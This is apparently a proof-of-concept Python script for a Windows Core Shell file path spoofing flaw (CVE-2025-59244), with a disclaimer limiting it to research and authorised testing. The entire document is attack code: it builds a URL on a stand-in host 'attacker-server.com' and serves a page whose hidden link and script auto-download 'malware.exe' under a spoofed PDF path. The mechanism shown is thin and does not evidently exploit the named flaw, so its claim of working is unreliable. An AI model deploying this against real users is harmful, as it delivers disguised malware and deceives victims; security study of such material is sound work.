The following code is for security research and authorized testing only.
python
# CVE-2025-59244 PoC - Conceptual Demonstration
# Windows Core Shell File Path Spoofing Vulnerability
# Note: This is a conceptual PoC for educational and research purposes only
import urllib.parse
import http.server
import socketserver
# Step 1: Craft a malicious URL with spoofed file path
def craft_spoofed_url(target_file, spoofed_display_path):
"""
Create a URL that exploits the file path spoofing vulnerability
in Windows Core Shell.
"""
# Encode the spoofed path to bypass basic validation
encoded_path = urllib.parse.quote(spoofed_display_path, safe='')
malicious_url = f"http://attacker-server.com/download?file={target_file}&display={encoded_path}"
return malicious_url
# Step 2: Create a simple HTTP server to serve the malicious content
class MaliciousHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if '/download' in self.path:
# Parse the request to extract target file and spoofed display path
query = urllib.parse.urlparse(self.path).query
params = urllib.parse.parse_qs(query)
target_file = params.get('file', [''])[0]
display_path = params.get('display', [''])[0]
# Craft response that triggers Windows Core Shell rendering
# with the spoofed file path
response_content = f"""
<!DOCTYPE html>
<html>
<head>
<title>Document Download</title>
</head>
<body>
<a href="{target_file}"
download="{display_path}"
style="display:none" id="malicious-link">
Download Document
</a>
<script>
// Auto-trigger the download to exploit the vulnerability
document.getElementById('malicious-link').click();
</script>
</body>
</html>
"""
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(response_content.encode())
else:
super().do_GET()
# Step 3: Demonstrate the attack
if __name__ == "__main__":
# Example: Spoof a legitimate Windows file path
legitimate_path = "C:\\Users\\Documents\\Important_Document.pdf"
actual_file = "malware.exe"
malicious_url = craft_spoofed_url(actual_file, legitimate_path)
print(f"[*] Crafted malicious URL: {malicious_url}")
print(f"[*] User will see: {legitimate_path}")
print(f"[*] Actual file being downloaded: {actual_file}")
# Note: Actual exploitation would require hosting this on a server
# and social engineering to lure the victim to visit the URL
print("\n[!] This PoC demonstrates the concept of file path spoofing")
print("[!] Real exploitation requires network delivery and user interaction")